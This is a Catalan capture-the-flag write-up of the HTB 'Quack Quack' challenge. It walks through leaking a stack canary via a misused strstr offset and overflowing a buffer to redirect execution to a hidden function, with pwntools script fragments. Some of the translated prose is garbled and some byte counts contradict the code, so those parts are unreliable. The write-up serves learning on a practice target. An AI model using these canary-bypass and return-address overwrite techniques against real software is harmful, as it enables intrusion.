Cyber Apocalypse 2025 - Quack
Table of Contents
Quack Quack
Un dels meus reptes preferits del HTB CTF d'aquest any va ser Quack Quack
Per a Quack Quack, se'ns va donar dues coses:
- Un fitxer elf binari
quack_quack
- Una IP i un port per connectar -se
La connexió al comandament ens va saludar amb un ànec i un missatge, que immediatament surt independentment de quina entrada es dóna
Al ser l’única altra cosa que se’ns va donar, obro el
quack_quack
binari a Ghidra per veure què passa (suposo que el binari és el que s’executa al comandament).
Després de la desmuntatge, des de la destaca veiem un parell de funcions interessants a l'esquerra:
duckling
duck_attack
banner
setup
main
D’aquests, només són rellevants duckling
, duck_attack
i main
. Donem un cop d'ull a la funció principal per veure com es desplega la lògica del programa:
Aquí veiem que en colpejar la funció principal, el programa simplement crea un canari, executa
duckling
, i després surt. Així doncs, mirem duckling
Aquí hi ha molta lògica, així que anem a desglossar:
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
La primera part de la funció assigna un munt de variables, res boig. local_10
és el valor canari.
A continuació, produeix el missatge a stdout (recordeu, aquest és el mateix missatge que vam veure en connectar -nos a remot):
printf("Quack the Duck!\n\n> ");
fflush(stdout);
A continuació, llegeix 102 bytes de stdin i emmagatzema les dades al punter local_88
read(0,&local_88,0x66);
A continuació, realitzem la funció strstr ( const char * str1, const char * str2 )
c, que retorna un punter a la primera aparició de str2 a str1 o punter nul si no es troba. Essencialment, està buscant la nostra entrada &local_88
per a la cadena "Quack Quack" i retornant un punter nul si no es troba la cadena o el punter fins on es troba per primera vegada "Quack Quack".
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
Aleshores, el programa comprova si el resultat és un punter nul. Si ho és, surt i escriu un missatge. Un cop més, això és el que vam veure quan vam connectar.
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
Si volem, podem verificar aquesta lògica connectant -nos al comandament de nou i introduint "Quack Quack" (comprova l'espai)
Tornar al codi:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Aquí el programa imprimeix un missatge amb una substitució, substituint %s
per les dades situat 32 bytes després del punter del fragment anterior. Just després, realitza una altra lectura de stdin, però aquesta vegada llegeix 40 bytes (0x28) i la guarda en una variable:
read(0,&local_68,0x6a)
Després d'això, imprimeix incondicionalment una cadena fixa i torna.
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
De fet, podem veure aquest comportament:
És força evident en aquest moment que se’ns porta a un atac de desbordament de buffer. El problema clau és que local_68
només es troba a 0x20 (32) bytes allunyats del final del primer buffer, però la segona lectura accepta 106 bytes. Això vol dir que podem escriure els límits del buffer i sobreescriure potencialment l’adreça de retorn.
A més, recordeu que hi ha una altra funció que vam veure: duck_attack
. És obvi que aquesta funció és el nostre objectiu. Volem executar -ho al servidor, però la trama s’espesseix: recordeu que ja hem vist el codi per a la funció main
i la funció duckling
, i enlloc del codi no es diu aquesta funció. Així, en condicions normals, Aquesta funció no s’anomenarà mai i no hi ha rutes lògiques que condueixin a aquesta funció en funcionament. El que significa que la manera només que d’executar -la possiblement al servidor és sobreescriure una adreça de retorn mitjançant un desbordament.
Fresc, així que provem un atac de desbordament de buffer. Això es pot fer fàcilment adjunt un depurador i generar una càrrega útil de 106 bytes de llarg i utilitzar -la com a segona entrada. Recordeu que hem d’introduir "Quack Quack" com a primera entrada per passar la comprovació:
Aquí és on el repte es fa una mica més difícil. Té protecció contra els atacs de desbordament del buffer, tal com es veu el _DAST5_*: terminated
Crash. La protecció és probable que els controls canaris generats automàticament del compilador abans de saltar RBP. Podeu llegir més informació sobre com funciona això here, però bàsicament:
- Abans del buffer
RBP
a la memòria, es col·loca un valor canari (només un munt de dades aleatòries generades en temps d'execució). - Si es canvia el valor canari, això vol dir que un buffer que el precedeix es va desbordar a l'adreça canària i el programa sap que es va produir un desbordament de buffer. Això és quan es produeix la caiguda.
- Com que el
RBP
emmagatzema l'adreça de retorn, la funció pot retorn
Això s’enfonsa el nostre estil, perquè un atac de desbordament de buffer típic funciona sobreescrivint l’adreça de retorn a una adreça que escolliu (en aquest cas, triaríem l’adreça de duck_attack
). Tanmateix, com que el punter de retorn es troba al final de la pila, hauríem de sobreescriure el Canari per arribar -hi.
L’única manera d’evitar aquest tipus de protecció és, d’alguna manera, filtrar el valor canari en temps d’execució i, quan es desborden i destrueixen les dades fora del buffer previst, col·loquem el valor canari on es trobava a la compensació correcta.
Hi ha una vulnerabilitat en la lògica de la primera entrada:
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Per resumir, aquest codi:
- Retorna el punter de la primera instància de
Quack Quack
a l'entrada - Imprimeix la memòria compensada de 32 bytes d'aquest punter.
Aquí, podem manipular el punter i esperem que imprimeixi el valor canari. Tornem a obrir el nostre depurador i establim un punt de ruptura just després de la sortida pertinent.
Ara, essencialment tenim una memòria arbitrària llegida manipulant la compensació de la substància verificada des del començament de l’entrada (només pot ser de 102 bytes grans). Malauradament, no sabem on es troba el valor canari, en relació amb el lloc on s’emmagatzema el buffer d’entrada. Per exemple, feu la següent execució amb 49 A que precedeixen la cadena:
Quan es substitueix el
%s
, no veiem que no produeix res. Això és perquè, per tant, l’adreça de memòria 32 bytes de qualsevol punter es genera amb 49 A està buida. Com que endevinem amb la memòria ara, haurem de començar a automatitzar -nos. Per a això utilitzaré Python i pwntools
.
Escrivim un script ràpid per a Bruteforce el nombre de A necessaris per filtrar el Canari. En aquest cas, només hem de provar 1-90, ja que la mida del buffer màxim és de 102 bytes i "Quack Quack" ja ocupa 12.
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
No vaig escriure comentaris al meu codi, però hauria de ser força explicatiu. Aquí teniu la sortida:
En la seva majoria, la memòria està buida. Però veureu en alguns col·locats, aconseguim obtenir una mica de dades. Tot i això, només amb la compensació de 89 veiem una quantitat útil de dades. Això vol dir que probablement hem localitzat el Canari al final. Estem tractant les dades binàries aquí, de manera que no es mostrarà correctament en un terminal. Per solucionar -ho, haurem de fer una mica de pars al nostre guió.
Nota: em vaig quedar enganxat diverses hores aquí. El problema era que estem llegint la memòria i la sortim, de manera que l’endianness es posa. Hem de reorganitzar manualment l’endian per tenir dades utilitzables
Canviem és un guió així:
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
I ara tenim el valor canari!
Com que es genera en temps d'execució, malauradament no podem utilitzar -ho com a valor final, haurem d'extreure'l en temps d'execució i utilitzar -lo a la càrrega útil. No és un problema, però val la pena assenyalar.
Ara, recordeu -ho. El nostre objectiu és reescriure l’adreça de retorn per tornar a la funció duck_attack
per imprimir el indicador. I coneixem l’adreça de la funció des del desmuntatge:
Podem afegir l’adreça com a variable i recordar -ho per endurir l’endian:
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
Però abans d’això, tornem al depurador i intentem verificar el nostre canari. Malauradament, a GDB, després de tocar el nostre punt de ruptura: i inspeccionar la pila:
, no podem comparar el nostre canari amb el que hi ha a la memòria, a causa de les dades binàries que no es mostren al nostre terminal. Per tant, haurem d’adjuntar el nostre depurador GDB dins del nostre script on podem analitzar la sortida crua
Per fer -ho, només afegim gdb.attach(conn)
i després on volem inspeccionar, podem afegir pause()
. En el nostre cas, només afegirem el pause()
abans de tancar la connexió. Ara obtenim un depurador just després d’imprimir el Canari:
Veureu que els nostres partits canaris! Què vol dir que ara podem passar a la segona part de l'explotació (recordeu la segona
read()
?)
Ara, tenim el Canari i estem intentant sobreescriure l’adreça de retorn. Igual que amb el Canari, no sabem la posició del nostre objectiu respecte a la pila que estem sobreescrivint. Podem fer alguna cosa semblant a com ho vam fer la primera part i la BRUTEFORCE. Recordeu -vos que el Canari serà just abans de RBP, de manera que podem afegir -nos lentament al nostre desbordament amb el nostre canari al final.
Si bé el desbordament és prou petit, el canari no es tocarà i no passarà res. Quan el desbordament sigui massa gran, els nostres personatges de brossa sobreescriuen el Canari i obtindrem la pila que es produeix un xoc. Però, quan tinguem la compensació correcta, sobreposarà perfectament el canari i substituirà l’adreça de retorn per l’adreça de duck_attack
, llegint el fitxer flag.txt.
Afegim això al nostre guió, iterant sobre i
:
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
I obtenim un resultat interessant amb 88 A:
Però ... esperàvem aconseguir la bandera. On és? Per què mostrem algun text aleatori?
Sortim al nostre depurador i esbrineu:
Verifiquem que RBP no es sobreescriu. Llavors, això porta a la pregunta: on va acabar la nostra càrrega útil? lol. Fem una ullada a la pila i esbrineu -ho.
D'acord, això és interessant. La nostra càrrega útil (
40137f
) és a 0x7ffe95725d30
, però la volem a 0x7ffe95725d20
. Afegim uns quants bytes abans de la nostra càrrega útil i depuració:
D'acord, això és progrés. Ara veiem que estem parcialment sobreescrivint RBP, donant lloc a una adreça de memòria no vàlida:
Per tant, afegim 8 bytes abans de la nostra càrrega útil d’atac per traslladar -la a la posició
+ (b'A'*8) + attack_bytes
Sembla que ho aconseguim! El Flag.txt de la meva màquina es va mostrar correctament. Ara hem d'executar -ho al servidor.
Bonic, ho tenim! (Ara són les 2 del matí)